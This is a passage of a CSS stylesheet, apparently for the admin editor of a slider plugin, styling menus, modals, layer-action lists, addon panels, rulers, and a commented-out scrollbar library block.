padding: 0px 20px; margin-right:-1px;} .form_menu_level_2 li:first-child { border-radius:3px 0px 0px 3px;} .form_menu_level_2 li.last { border-radius:0px 3px 3px 0px;} .form_menu_level_2 li:hover, .form_menu_level_2 li.selected { color: #006dd2; border-color: #7597b7; z-index:2;} .form_menu_level_2 li>i { margin-right: 10px; font-size: 25px; } /* DISABLED THINGS */ .form_menu_level_2 li.disabled { opacity: 0.5; cursor: default } .form_level_2_inner.disabled { position: relative; } .form_level_2_inner.disabled:after { position: absolute; content: " "; width: 100%;height: 100%;top: 0px;left: 0px; background: rgba(255,255,255,0.5); cursor: default } /* DARK FORMMENUS */ .form_menu_level_1 { border-color: #2a3441; background: #2f3a49} .form_menu_level_1 li { color: #8095a3;border-bottom:1px solid #2a3441; padding-bottom:6px;margin-bottom: -7px;} .form_menu_level_1 li:hover, .form_menu_level_1 li.selected { color: #fff;border-color: #006dd2; } .form_menu_level_2 { border-bottom: 1px solid #3e4a5a; display: inline-block; margin-bottom:15px;} .form_menu_level_2 li { color: #6d808e;border-color: #6d808e; font-size:12px; font-weight:600;padding:0px; border:none; border-bottom:1px solid transparent;margin-right:15px; line-height: 25px; margin-bottom:-1px;} .form_menu_level_2 li:last-child { margin-right: 0px; } .form_menu_level_2 li:hover, .form_menu_level_2 li.selected { color: #fff;border-color: #006dd2; } .form_collector { border:none } .collectortab {color:rgba(183,187,192,1);} .open_close_slide i, .collapsed .form_intoaccordion i, .collapsed .collectortab i, .collapsed .collectortab { color:rgba(183,187,192,1); } .slide_list_element:hover .open_close_slide i, .open_close_slide:hover i { color: #fff; } .form_inner { background: #202224 } #the_right_toolbar .form_inner { background: #323438; } .form_header_title, .collectortabwrap, .form_collector:after { background: #3f444a; } .form_intoaccordion { color:#777c80; } .formcontainer>.form_intoaccordion { color: #b7bbc0; } #the_container .formcontainer[data-hovered='on'] .collectortabwrap, #the_container .formcontainer[data-hovered='on'] >.form_intoaccordion, #the_container .form_collector div[data-hovered='on'] >.form_intoaccordion, #the_container .formcontainer[data-hovered='on'] .collectortabwrap .collectortab { color:#fff;} #the_container .form_collector div[data-hovered='on']>.form_inner_header, #the_container .form_collector div[data-hovered='on']>.form_inner_header { color: #b7bbc0; } .collectortab:after { background: #2a3441; } .collectortab:hover:after, .collectortab.selected:after{ background:#202224 } .form_menu_inside.collectortab.selected:after { background: #2f3a49; } .form_menu_inside { margin-bottom: 50px; } .form_menu_inside.collapsed { margin-bottom: 0px; } /* MAIN LIGHT FORMSETTINGS*/ #form_slidergeneral_module { height: 700px; background:#202224;box-sizing: border-box; padding-top:48px;} .__inmodal .form_header { display: block; background: #006dd2; height: 60px;line-height: 60px; } .__inmodal .form_menu_level_1 { border:none; background:#2a2c2f;width:220px; height:100%; position: absolute; top:0px;left:0px;box-sizing: border-box; padding:30px; z-index: 5} .__inmodal .form_menu_level_1 li { display:block; color: #777c80; text-transform: capitalize; font-size: 17px; font-weight: 500; margin:0px; padding:0px; line-height:20px; margin-bottom: 22px; border: none; } .__inmodal .form_menu_level_1 li:hover, .__inmodal .form_menu_level_1 li.selected { color: rgba(183,187,192,1);} .__inmodal .form_menu_level_2 { border: none; padding: 0px; background: transparent; margin-bottom: 20px; } .__inmodal .form_menu_level_2 li { box-sizing: border-box;display: inline-block;color: #b7bbc0;font-size: 17px;line-height: 30px;font-weight: 500;cursor: pointer;margin-right: 28px;vertical-align: top; } .__inmodal .form_menu_level_2 li:hover, .__inmodal .form_menu_level_2 li.selected { color: #006dd2; border: none; } .__inmodal .form_menu_level_2 li>i { color: #7597b7; } .__inmodal .form_menu_level_2 li:hover >i, .__inmodal .form_menu_level_2 li.selected >i {color:#006dd2} .__inmodal.form_collector { border:none; width: 1040px; box-shadow: none; max-width: none; } .__inmodal .collectortab { background:#2a3441; color:#8095a3; border-color:#2a3441;border-bottom-color:#2a3441;} .__inmodal .form_inner { height: 595px; padding:30px; box-sizing: border-box; position: relative} .__inmodal .form_header_title { padding: 0px 30px } .__inmodal .form_header_title, .__inmodal .collectortab:hover, .__inmodal .collectortab.selected { background: #006dd2; border:none} .__inmodal .form_header_title, .__inmodal .form_menu_inside.collectortab.selected { background: #006dd2; border:none; line-height: 60px; font-size: 19px; font-weight: 500 } .__inmodal .collectortabwrap, .__inmodal.form_collector:after { background: #2a3441; } .__inmodal .form_intoaccordion { color: #fff; font-size: 30px; top: 5px;right: 10px;} .__inmodal .form_intoaccordion:hover { color: #fff; } .__inmodal .collectortab:after { background: #2a3441; } .__inmodal .collectortab:hover:after, .__inmodal .collectortab.selected:after{ background:#354151 } .__inmodal .form_menu_inside.collectortab.selected:after { background: #2f3a49; } /* QUICK GUIDE*/ #rbm_quickguide .mcg_page {display: none;width: 100%;height: 100%;position: absolute;top: 0px;left: 0px;box-sizing: border-box; padding:75px 120px;background-color:#212226;} #rbm_quickguide .mcg_page.mcg_selected { display: block; } #rbm_googleprecaching { width: 500px; height: 200px; } #rbm_googleprecaching .rbm_content { padding:20px; text-align:center} #mcg_page_0_blurredbox, #mcg_page_0 { background-image: url(../images/guide/guide.jpg); background-size:1202px 752px; background-position:center top; background-repeat: no-repeat;} #mcg_page_0_blurredbox { z-index:2;filter: blur(10px); border-radius:6px; overflow: hidden; opacity:0.90; position: absolute;top:-50px;left:-50px;width: 820px; height: 220px; background-position: -190px -530px;} .mcg_page_footer { z-index:2;position: absolute; border-radius:6px; overflow:hidden; top:580px; left: 240px; width: 720px;height: 120px; box-shadow: 0px 20px 25px rgba(0,0,0,0.4);} .mcg_o_title { color: #fff; font-size: 20px; line-height: 25px; font-weight: 600; text-align: left;margin-bottom:25px;} .mcg_o_title_gray { color: #767c80; font-size: 17px; line-height: 25px; font-weight: 500; text-align: left;margin-bottom:15px;} .mcg_page_title { color: #fff; font-size: 30px; line-height: 35px; font-weight: 600; text-align: center;margin-bottom:55px;} .mcg_o_descp { color: #777c80; font-size: 14px; line-height: 20px; font-weight: 400; text-align: left;} .mcg_page_subtitle { color: #777c80; font-size: 20px; line-height: 25px; font-weight: 400; text-align: center;} .mcg_option_third { width: 280px; margin-right: 50px; display: inline-block; text-align: left; vertical-align: top} #rbm_welcomeModal .mcg_option_third { width: 296px; } .mcg_option_third.last { margin-right: 0px; } .mcg_video_preview { width: 280px; height: 160px; box-shadow: 0px 20px 40px rgba(0,0,0,0.35); background: #2e3033} .mcg_footer_btns_right { position: absolute; bottom: 20px; left: 20px; width: 500px; text-align: left; display: block} .mcg_footer_btns { position: absolute; bottom: 20px; right: 20px; width: 500px; text-align: right; display: block} .mcg_page_minititle,.mcg_page_pagination { color:#767c80; font-size: 15px; display:inline-block;line-height: 30px; margin-right: 20px; font-weight: 400 } i.rbm_close.material-icons:hover { color: #fff; } #rbm_quickguide grayiconbox { background: #313437; } #rbm_quickguide grayiconbox, #rbm_quickguide blueiconbox { color: #fff !important; box-shadow: 0px 5px 10px rgba(0,0,0,0.3) } /* LAYER ACTIONS */ #rbm_layer_action .rbm_content { min-height: 530px; display: table; width: 100%; position: relative;background:#323438;} #layeraction_list { display:none; height: 100%;width: 100%; position: relative; background: #323438; z-index: 10; position: absolute; top:0px;left:0px;overflow: hidden;} #action_inputs { display:none; position: absolute; top: 0px; left: 0px;padding: 30px; } #no_action_added, #no_action_selected { font-size: 15px; color: #b7bbc0; font-weight: 400; display: inline-block; white-space: nowrap; overflow: hidden; position: relative; vertical-align: top; padding: 30px 20px; box-sizing: border-box; text-align: center} #no_action_added .material-icons, #no_action_selected .material-icons { vertical-align: top; font-size: 20px; margin-right: 10px; } .mdl_group, .lal_group { margin-bottom: 1px; padding-bottom: 5px; } .mdl_group_header, .lal_group_header { display: block; line-height: 30px; background: #3f444a; color:#b7bbc0; font-size: 14px; position: relative; padding:0px 10px; cursor: pointer; margin-bottom:5px;} #rev_builder.inAnimationMode ._group_head_ { background: #5e35b1; } .mdl_group_header i.fa__icons, .mdl_group_header i.material-icons, .lal_group_header i.material-icons { line-height: 30px; font-size: 17px; color: #b7bbc0; margin-right: 10px; cursor: pointer; } .mdl_group_header i.material-icons.accordiondrop, .lal_group_header i.material-icons.accordiondrop { margin: 0px; position: absolute; transform-origin: 50% 50%; right: 5px;top: 0px; width:23px; text-align:center; font-size: 22px; cursor:pointer; transform: rotate(180deg);} .mdl_group_member, .lal_group_member { display: block; line-height: 30px; color:#b7bbc0;background: #3f444a; font-size: 14px; position: relative; padding:0px 10px; cursor: pointer} .mdl_group .mdl_group_member, .lal_group .lal_group_member { padding-left: 25px;background: #323438; } .mdl_group_member i.material-icons, .mdl_group_member i.fa__icons, .lal_group_member i.material-icons { line-height: 30px; font-size: 17px; margin-right: 10px; color:inherit;} .mdl_group_member:hover, .mdl_group_member.selected, .lal_group_member:hover, .lal_group_member.selected { background: #006dd2; color: #fff; cursor: pointer } .mdl_group.closed .mdl_group_member, .lal_group.closed .lal_group_member { display: none } .mdl_group.closed .mdl_group_header i.material-icons.accordiondrop, .lal_group.closed .lal_group_header i.material-icons.accordiondrop { transform: rotate(0deg); } .la_settings { display: none; } .mdl_placeholder_content, .mdl_left_content, .mdl_right_content { display: inline-block; width: 33%; vertical-align: top; } .mdl_placeholder_content { height: 30px;overflow: hidden;position: relative; white-space: nowrap} #mdl_group_wrap_menu { display: block; position: absolute; width: 700px; height: 50px; top: 0px; right: 50px; text-align: right; } .mdl_group_wrap_menuitem { display: inline-block; line-height: 50px; height: 50px; padding: 0px 10px; cursor: pointer; vertical-align: top; } .mdl_group_wrap_menuitem:hover { color: #fff; } .mdl_group_wrap_menuitem.selected { background: #006dd2; color: #fff; } .mdl_group_wrap { display: none; } .mdl_group_wrap.selected { display: block; } .mdl_group .mdl_group_member:last-child{ margin-bottom: 15px; } #rbm_layer_metas .rbm_content { height: 400px; overflow: hidden; position: relative } #layeractions_overview_innerwrap { padding: 20px 30px; height: 530px; display: block; box-sizing: border-box; position: relative; overflow:hidden;} #layer_with_action_wrap { border: 1px dashed #006dd2; font-size: 14px; line-height: 25px; } #layer_with_action { line-height: 30px; padding: 0px 10px; } #layer_with_action .lwa_layername { line-height: 30px; color: #fff; font-size: 14px; } .lwa_icon.material-icons { color: #006dd2; font-size: 17px; margin-right: 10px; margin-left: 5px} ul.layer_depending_wrap .drop_dependencies i { position: relative; transform-origin: "50% 50%" } #layer_width_action_inner_wrap { padding: 0px;border-top: 1px dashed #006dd2; display: none } ul.layer_depending_wrap { margin:0px !important; display: none; padding-bottom: 10px} .opendeps ul.layer_depending_wrap { display: block; } .opendeps #layer_width_action_inner_wrap { display: block; } .opendeps .drop_dependencies i.material-icons { transform: rotateZ(180deg); } li.layer_depending_on { line-height: 35px; padding: 0px 15px; margin: 0px;border-bottom: 1px dashed #006dd2; } .layer_depending_on .ldo_layername { line-height: 35px; color: #b7bbc0; font-size: 14px; display: inline-block;width: 120px;overflow: hidden;vertical-align: top;padding-right: 10px } .drop_dependencies { line-height: 30px; color: #b7bbc0; font-size: 14px; float:right; vertical-align: top; cursor: pointer;} .layer_depending_on .ldo_actionname { line-height: 35px; color: #777c80; font-size: 14px;float: right;overflow: hidden;vertical-align: top;} .ldo_icon.material-icons { color: #777c80; font-size: 17px; margin-right: 10px; } ul#selected_layer_actions { margin: 10px 0px 0px; padding: 0px; } li.single_layer_action { border: 1px dashed #f82c90; line-height: 30px; display: block; position: relative; padding: 0px 10px; cursor:pointer; margin-bottom:10px; margin-right:70px; box-sizing: border-box; height: 30px;} .sla_icon.material-icons { color: #f82c90; font-size: 17px; margin-right: 10px; margin-left:5px; line-height: 30px; vertical-align: top } .sla_layername { line-height: 30px; color: #fff; font-size: 14px; display: inline-block;vertical-align: top; max-width: 110px;overflow: hidden;white-space: nowrap;} .sla_actionname { line-height: 30px; color: #f82c90; font-size: 11px; float:right; vertical-align: top;max-width: 110px;overflow: hidden;white-space: nowrap;} li.single_layer_action .action_tooltip_evnt { position: relative; display: inline-block; background: #f82c90; padding: 0px 3px; height:16px; display: inline-block; color: #fff; font-weight: 500; font-size: 11px; line-height: 16px; width: 44px; text-align: center; overflow: hidden; vertical-align: top; margin-top: 7px; margin-right: 5px; overflow:hidden; text-transform: uppercase; } li.single_layer_action.selected .action_tooltip_evnt, li.single_layer_action:hover .action_tooltip_evnt { background:#fff; color:#f82c90 } .single_layer_action:hover, .single_layer_action.selected { background:#f82c90; border:1px solid #f82c90;} .frameActionOnOffOverview { padding-left: 15px; } .frameActionOnOffOverview label_a { width: 151px !important; overflow: hidden; padding-right: 10px; } .single_layer_action.selected .sla_icon.material-icons, .single_layer_action.selected .sla_layername, .single_layer_action.selected .sla_actionname, .single_layer_action:hover .sla_icon.material-icons, .single_layer_action:hover .sla_layername, .single_layer_action:hover .sla_actionname { color: #fff; } i.material-icons.icon_in_dropdown { margin-right: 5px; color: #f82c90;font-size: 15px; vertical-align: top; line-height: 18px } .single_layer_toolbar { z-index:2; position: absolute; left: 100%; top: -1px; line-height: 30px; width:70px;} .single_layer_toolbar i.material-icons { vertical-align:top; color:#f82c90; height:30px; line-height:30px; width:30px; text-align:center; box-sizing:border-box; margin-left: 5px; font-size: 17px; cursor: pointer; vertical-align: top; display: inline-block; border: 1px dashed #f82c90;display: inline-block } .single_layer_toolbar i.material-icons:hover { border: 1px solid #f82c90; background:#f82c90; color:#fff;} .single_layer_action:hover .single_layer_toolbar { display: block; } /**************************************** - RS LAYER IMPORT/EXPORT MANAGEMENT - *****************************************/ #rbm_layerimport .rbm_content { background: #2a2c2f; } #rbm_layerimport_buttonwrap { height: 30px; line-height: 30px; background: #2a2c2f; padding: 10px;position: relative } #rbm_layerimport_list { position: relative; width: 100%; max-height: 500px; overflow: hidden;} .layimpli_main_wrap { position: relative; display: block; width: 100%; } .layimpli_group_wrap { position: relative; display: block; width:100%;} .layimpli_element { background: #202224; line-height: 36px; border-bottom: 1px solid #323438; box-sizing: border-box; display: block; color: #b7bbc0; padding-left:20px; cursor: pointer} .layimpli_element.disabled { opacity: 0.75; pointer-events: none } .layimpli_element:hover { color: #fff; background: #3F444D } .layimpli_level_0 { padding-left: 20px; } .layimpli_level_1 { padding-left: 40px; } .layimpli_level_2 { padding-left: 60px; } .layimpli_level_3 { padding-left: 80px; } .layimpli_icon { color: #006dd2; font-size: 17px; line-height: 36px; margin-right: 10px; display: inline-block; } .layimpli_icon_title, .layimpli_icon_required, .layimpli_icon_dimension { width: 200px; font-size: 13px; font-weight: 500; display: inline-block; } .layimpli_icon_required { color: #e8388f; } .layimpli_icon_checbox { position: absolute; right: 10px; line-height: 36px !important; font-size:15px !important; width: 50px; text-align: center; vertical-align: top; display: inline-block;} .layimpli_element.selected { background: #006dd2 !important; color: #fff !important; } .layimpli_element.selected .layimpli_icon { color: #fff; } #layers_import_feedback { position: absolute;left: 15px; line-height: 50px; font-size: 13px; color: #b7bbc0; top: 0px; } /********************************** - RS ADDON MANAGEMENT - ***********************************/ #addon_overviewheader_wrap { padding:20px 55px 0px;width: 820px;position: absolute;top: 50px;left: 0px;z-index: 100;background: #000;box-sizing: border-box;background-color: #212226;} #addon_overviewheader { border-bottom: 1px solid #333438;} #rbm_addons { width: 1195px; } #rbm_addonlist { width: 820px; height: 800px; background: #212226; position: relative;overflow: hidden; box-sizing: border-box; padding:100px 30px 30px; } #rbm_addon_details { width:375px; position: absolute; right:0px; top:50px; height:750px; overflow: hidden; box-sizing: border-box; } .rs_ale { display: inline-block; width:190px; height:215px; position: relative; box-sizing: border-box; cursor: pointer;} .rs_alethumb { width: 190px;height: 190px; position: absolute; top: 0px; left: 0px;box-sizing: border-box; z-index:2;} .rs_alethumb_notinstalledimg, .rs_alethumb_img { width: 190px; height: 190px; position: absolute; top: 0px; left: 0px; z-index: 10; background-size: 190px; background-position: top; background-repeat: no-repeat; } .rs_alethumb_notinstalledimg { z-index: 12; background-position: bottom } .rs_alecbg { width: 140px; height: 140px; position: absolute; top: 25px; left: 25px; background: #2b2c30; border-radius: 10px; box-sizing: border-box;} .rs_ale_title { font-size: 17px; color: rgba(255,255,255,0.5); font-weight: 500; width:100%; text-align: center; display: block; position: absolute; top: 183px; line-height: 30px; text-align: center; } .rs_ale.selected .rs_ale_title { color: #fff; } .rs_alethumb_title { font-size: 40px; line-height: 40px; color: #fff; position: absolute; top: 50%; left: 50%; transform: translateX(-50%) translateY(-50%); font-weight: 900 } .rs_ale_notinstalled, .rs_ale_enabled { background: #006dd2; line-height: 25px; padding: 0px 5px; font-size: 13px; color: #fff; font-weight: 800; position: absolute; top:15px; right:5px; z-index: 15; text-transform: uppercase; border-radius: 4px;} .rs_ale_actionneeded { background: #ff0000; line-height: 25px; padding: 0px 5px; font-size: 13px; color: #fff; font-weight: 800; position: absolute; top:15px; right:5px; z-index: 15; text-transform: uppercase; border-radius: 4px;} .rs_ale_notinstalled { background: #3f444a; color: #74797d; } .rs_lib_premium_wrap { position: absolute; top:5px; right:5px; z-index:300; width:auto !important; height:auto !important; font-family: "Roboto"} #rs_premium { background:#2a2c2f; padding:30px; margin:30px -20px 0px;display:none} #rs_premium .rs_lib_premium_red, #rs_premium .rs_lib_premium_red_hover, #rs_premium .rs_lib_premium_lila { display:inline-block; margin-bottom:20px; padding:0px 8px} .rs_premium_content{ color: #777c80; font-size: 14px; font-weight: 400; line-height: 20px; display: block; } #rs_premium a { color:#777c80; opacity:1; text-decoration: underline;} #rs_premium a:hover { color:#fff; opacity:1;} .rs_lib_premium_lila, .rs_lib_premium_red, .rs_lib_premium_red_hover { display:none;background:#ff2021; line-height: 23px; padding: 0px 6px; font-size: 13px; color: #fff; font-weight: 600; position: relative; z-index: 15; text-transform: uppercase; border-radius: 4px;} .rs_lib_premium_lila { background: #5c30af; display:block } .sliderImage.tp_premium, .noSliderImage.tp_premium { position:relative} .noSliderImage.tp_premium { background:#e3e5e8; padding:15px;} .sliderImage.tp_premium .rs_lib_premium_lila, .noSliderImage.tp_premium .rs_lib_premium_lila, .sliderImage.tp_premium .rs_lib_premium_red, .noSliderImage.tp_premium .rs_lib_premium_red { width:auto !important; height:auto !important; display:inline-block !important; vertical-align:top; } .tp_premium .rs_lib_premium_red { cursor: pointer;} .noSliderImage.tp_premium .rs_lib_premium_wrap { position:relative; top:auto;right:auto; height:25px !important; vertical-align:top;} .rs_n_ac_n .rs_lib_premium_lila { display:none} .rs_n_ac_n .rs_lib_premium_red { display:block} .rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red, .olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red { display:none} .rs_n_ac_n .rs_library_element:hover .rs_lib_premium_red_hover, .olibrary_item:hover .rs_n_ac_n .rs_lib_premium_red_hover { display:block} .rs_lib_premium_red_hover, .rs_lib_premium_red { cursor: pointer; } .rs_lib_premium_red_hover .material-icons, .rs_lib_premium_red .material-icons { margin-right:5px; } .rs_lib_premium_red:hover { filter:brightness(110%);} .rbm_addon_details_inner { padding:30px 42px 30px;position: relative } #decmod_maintxt, .decmod_maintxt, .ale_i_title { color: #fff; font-size: 15px; font-weight: 600; line-height: 35px; } #decmod_maintxt { line-height: 22px; margin-bottom: 10px; } .ale_i_environment, #decmod_subtxt, .decmod_subtxt, .ale_i_content { color: #777c80; line-height: 20px; font-weight: 400; font-size: 14px; } #decmod_subtxt, .decmod_subtxt { color:#b7bbc0 ; } #decmod_subtxt strong { color: #fff; font-weight: 500 } .ale_i_environment { margin-top: 15px; text-decoration: underline } .ale_i_line { width: 100%; height: 1px; background: #3f444a; } .rbm_addon_details_inner row onehalf { padding-right: 10px; } .ale_i_content i.material-icons { font-size: 14px;margin-right: 5px; } .ale_yellow, .ale_yellow i { color: #e67600; } .ale_i_errorbutton { color: #fff; background: #e67600; white-space: nowrap; cursor: default; pointer-events: none; } .ale_i_errorbutton i { color: #fff; } .ale_i_updateaddon.basic_action_coloredbutton { background: #5d36ad; } .ale_i_allupdateaddon.basic_action_coloredbutton { background: #5d36ad; } #check_addon_updates_wrap { position: absolute;left: 820px;top: 10px; } #check_addon_updates, #process_all_addon_updates { position: relative;display:inline-block;margin-right:10px } .addonlist_to_update { display: block; font-size: 14px; line-height: 30px; position: relative; } .addonlist_to_update_single_status { position: absolute; right: 4px; font-size: 16px; top:7px;} .addonlist_to_update_single_status.circle-loader { border: 1px solid rgba(255, 255, 255, 0.40); display: inline-block; vertical-align: top; border-radius: 50%; width: 15px; height: 15px; } .addonlist_to_update_single_status.circle-loader.inload {animation: loader-spin 1.2s infinite linear; border-left-color: #fff; } .addonlist_to_update_single_status.load-complete { -webkit-animation: none; animation: none; border-color: rgba(255, 255, 255, 0.40); transition: border 500ms ease-out; } .addonlist_to_update_single_status .checkmark {display: none;} .addonlist_to_update_single_status.load-complete .checkmark { display: block; } .addonlist_to_update_single_status .checkmark.draw:after { animation-duration: 800ms; animation-timing-function: ease; animation-name: checkmark; transform: scaleX(-1) rotate(135deg); } .addonlist_to_update_single_status .checkmark:after { opacity: 1; height: 8px; width: 3px; transform-origin: left top; border-right: 1px solid #fff; border-top: 1px solid #fff; content: ''; left: 3px; top: 8px; position: absolute; } .addonlist_to_update_single_status.failure .checkmark:after { content: "x"; border: none; color: #ff0000; font-weight: 300; transform: scaleX(1.4) scaleY(1) rotate(0deg); top: -9px; left: 2px; } @keyframes loader-spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @keyframes checkmark { 0% { height: 0; width: 0; opacity: 1; } 20% { height: 0; width: 3px; opacity: 1; } 40% { height: 8px; width: 3px; opacity: 1; } 100% { height: 8px; width: 3px; opacity: 1; } } /********************************** - REAL INPUT FIELD DEFAULTS - ***********************************/ .customsizes_chkbox { display: none } /********************************** - PREDROPS FIELD DEFAULTS - ***********************************/ .predrop_wrap { position: relative } .predrop { width: 150px; position: absolute; top: 100%; background: #2b2c30; } .predrop_ul { padding: 0px;margin: 0px; } .predrop_li { line-height: 34px; display: block;height: 34px; padding: 0px 15px; margin: 0px; } .predrop_unitselector { padding: 0px; } .predrop_li .radiooption { float:left; width:50%; background: #35363a; display: block; color: #b7bbc0; margin: 0px; text-align: center;box-sizing: border-box; line-height: 34px} .predrop_li .radiooption:first-child { border-right: 1px solid #2b2c30; } .predrop_li .radiooption.selected { color: #fff; } /*************************** - SLIDE THUMBNAILS - ****************************/ .miniprevimage_wrap { width: 70px;height: 70px; position: relative; display: inline-block; box-sizing: border-box; background:#3a3e44; line-height: 70px; text-align: center; } #rb_tlw .miniprevimage_wrap i.material-icons { color: #777c80; font-size: 45px } .resettodefault.onlyicon { position: absolute; top: 0px;right: 0px; width: 20px;height: 20px; background:#2a2c2f; border-radius: 0px 0px 0px 5px !important } #rb_tlw .miniprevimage_wrap .resettodefault.onlyicon i.material-icons { font-size: 15px; line-height: 20px !important; width: 20px; } #rb_tlw .miniprevimage_wrap .resettodefault.onlyicon:hover i.material-icons { color: #fff !important; background: #006dd2; border-radius: 0px 0px 0px 5px !important} #rb_tlw .miniprevimage_wrap.withimage i.material-icons { display: none; } #navigation_purpose_thumbnail, #layer_bg_image, #slider_bg_image, #layer_image_src, #admin_purpose_thumbnail, #admin_purpose_thumbnail_slider { width: 70px;height: 70px;display: block; box-sizing: border-box; position: absolute; top:0px; left:0px;} #layer_image_src { background-size: contain; background-repeat: no-repeat; background-position: center center; } /************************* - RULER STYLES - *************************/ #ruler_top { width: 100%;height: 15px; background: #202224;position: absolute;left: 0px;top: -15px; overflow: hidden;z-index: 30; } #ruler_top_offset { position: absolute;top: 0px;left: -1200px; height:15px; width: 3600px; } #ruler_top .rm_five, #ruler_top .rm_ten, #ruler_top .rm_hundred { width: 1px;height: 4px; border-left: 1px solid #414243;; position: absolute;bottom:0px; color: rgba(183,187,192,0.5); font-size: 10px; font-weight: 600; } #ruler_top .rm_ten { height: 4px;} #ruler_top .rm_hundred { height: 15px; line-height: 14px; vertical-align: bottom; width: 15px; padding-left: 2px; } #ruler_hor_marker { width:1px;height:15px;background:#f82c90; position: absolute; top:-15px;left:100px;z-index:946;} #ruler_left { height: 100%;width: 15px; background: #202224;position: absolute;top: 0px;left: -15px; overflow: hidden; z-index:50;} #ruler_left_top_cover { width:15px;height:15px;top:-15px;left:-15px;background:#202224;position: absolute ;z-index:65;} #ruler_left_offset { position: absolute;left: 0px;top: -1200px; width:15px; height: 3600px; text-align: right;} #ruler_left .rm_five, #ruler_left .rm_ten, #ruler_left .rm_hundred { height: 1px;width: 4px; border-top: 1px solid #414243; position: absolute;right:0px; color: rgba(183,187,192,0.5); font-size: 10px; font-weight: 600; } #ruler_left .rm_ten { width: 4px;} #ruler_left .rm_hundred { width: 15px; line-height: 12px; vertical-align: top; padding-right: 6px; box-sizing: border-box;} #ruler_ver_marker { height:1px;width:15px;background:#f82c90; position: absolute; left:-15px;top:100px;z-index:946;} /************************* - GRID CANVAS - *************************/ canvas#gridcanvas { pointer-events: none; width: 100%;height: 100%; z-index: 1000;position: absolute;top: 0px;left: 0px; } /******************************** - DOTTED OVERLAYS - *********************************/ ._lc_video_overlay, #slider_overlay { background-repeat:repeat;width:100%;height:100%;position:absolute;top:0px;left:0px;z-index:300; pointer-events: none;} /*********************************** - NAVIGATION OVERWRITES - ***********************************/ #rev_builder .tp-bullets, #rev_builder .tp-bullets *{ box-sizing: content-box; } /*********************************** - SLIDER UL SHADOWS - ***********************************/ #shadow_faker { width:100%;height:100%;top:0px;left:0px;background: transparent;z-index: -1;position: absolute;margin:auto;left:50%;transform:translateX(-50%); } /*********************************** - PERFECT SCROLLBAR - ************************************/ /* perfect-scrollbar v0.7.1 */ /* .ps{-ms-touch-action:auto;touch-action:auto;overflow:hidden !important;-ms-overflow-style:none}@supports (-ms-overflow-style: none){.ps{overflow:auto !important}}@media screen and (-ms-high-contrast: active), (-ms-high-contrast: none){.ps{overflow:auto !important}}.ps.ps--active-x>.rs__scrollbar-x-rail,.ps.ps--active-y>.rs__scrollbar-y-rail{display:block;background-color:transparent}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps>.rs__scrollbar-x-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;bottom:0px;height:15px}.ps>.rs__scrollbar-x-rail>.rs__scrollbar-x{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;bottom:2px;height:6px}.ps>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x,.ps>.rs__scrollbar-x-rail:active>.rs__scrollbar-x{height:11px}.ps>.rs__scrollbar-y-rail{display:none;position:absolute;opacity:0;-webkit-transition:background-color .2s linear, opacity .2s linear;-o-transition:background-color .2s linear, opacity .2s linear;-moz-transition:background-color .2s linear, opacity .2s linear;transition:background-color .2s linear, opacity .2s linear;right:0;width:15px}.ps>.rs__scrollbar-y-rail>.rs__scrollbar-y{position:absolute;background-color:#aaa;-webkit-border-radius:6px;-moz-border-radius:6px;border-radius:6px;-webkit-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, -webkit-border-radius .2s ease-in-out;-o-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;-moz-transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out;transition:background-color .2s linear, height .2s linear, width .2s ease-in-out, border-radius .2s ease-in-out, -webkit-border-radius .2s ease-in-out, -moz-border-radius .2s ease-in-out;right:2px;width:6px}.ps>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y,.ps>.rs__scrollbar-y-rail:active>.rs__scrollbar-y{width:11px}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--x>.rs__scrollbar-x-rail>.rs__scrollbar-x{background-color:#999;height:11px}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail{background-color:#eee;opacity:.9}.ps:hover.ps--in-scrolling.ps--y>.rs__scrollbar-y-rail>.rs__scrollbar-y{background-color:#999;width:11px}.ps:hover>.rs__scrollbar-x-rail,.ps:hover>.rs__scrollbar-y-rail{opacity:.6}.ps:hover>.rs__scrollbar-x-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-x-rail:hover>.rs__scrollbar-x{background-color:#999}.ps:hover>.rs__scrollbar-y-rail:hover{background-color:#eee;opacity:.9}.ps:hover>.rs__scrollbar-y-rail:hover>.rs__scrollbar-y{background-color:#999} */ /* perfect-scrollbar v0.8.1 */ 